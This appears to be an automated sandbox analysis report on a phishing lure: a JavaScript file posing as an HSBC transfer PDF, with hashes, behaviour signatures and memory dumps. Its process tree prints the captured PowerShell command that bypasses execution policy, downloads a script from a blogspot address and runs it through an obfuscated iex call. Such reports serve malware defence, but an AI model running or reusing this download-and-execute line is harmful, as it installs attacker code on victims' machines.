Resubmissions

27-03-2024 11:00

240327-m36v6sdg8x 8

27-01-2024 12:50

240127-p2yjhscea5 10

Analysis

  • max time kernel
    118s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    27-01-2024 12:50

General

  • Target

    OutgoingHSBCTelegraphicTransfer.pdf                               .js

  • Size

    654KB

  • MD5

    f50081a699960921c3ac494c49a5338e

  • SHA1

    9580b05d3297a1a9ed8633d979da292b1a35c604

  • SHA256

    8c0554af06496cbf019db3d07c1805c8dbf731b61a0c9e4c70b559459cff3506

  • SHA512

    e6285e620fd770c1ac302f743ae6d217b11571bf64db6bb32b0ee6685f5186ecce06228789010b25addb091d8417401933635a391ad187eb0d2330e20f933a8d

  • SSDEEP

    192:+1Lj1hWOw3HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHB:sjvWOS

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\OutgoingHSBCTelegraphicTransfer.pdf                               .js
    1⤵
    • Deletes itself
    • Suspicious use of WriteProcessMemory
    PID:2348
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainsimon1-22.blogspot.com////////////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 3
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2300

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2300-4-0x000000001B2A0000-0x000000001B582000-memory.dmp

    Filesize

    2.9MB

  • memory/2300-5-0x0000000002410000-0x0000000002418000-memory.dmp

    Filesize

    32KB

  • memory/2300-6-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

    Filesize

    9.6MB

  • memory/2300-7-0x0000000002420000-0x00000000024A0000-memory.dmp

    Filesize

    512KB

  • memory/2300-9-0x0000000002420000-0x00000000024A0000-memory.dmp

    Filesize

    512KB

  • memory/2300-8-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

    Filesize

    9.6MB

  • memory/2300-10-0x0000000002420000-0x00000000024A0000-memory.dmp

    Filesize

    512KB

  • memory/2300-11-0x000007FEF5BE0000-0x000007FEF657D000-memory.dmp

    Filesize

    9.6MB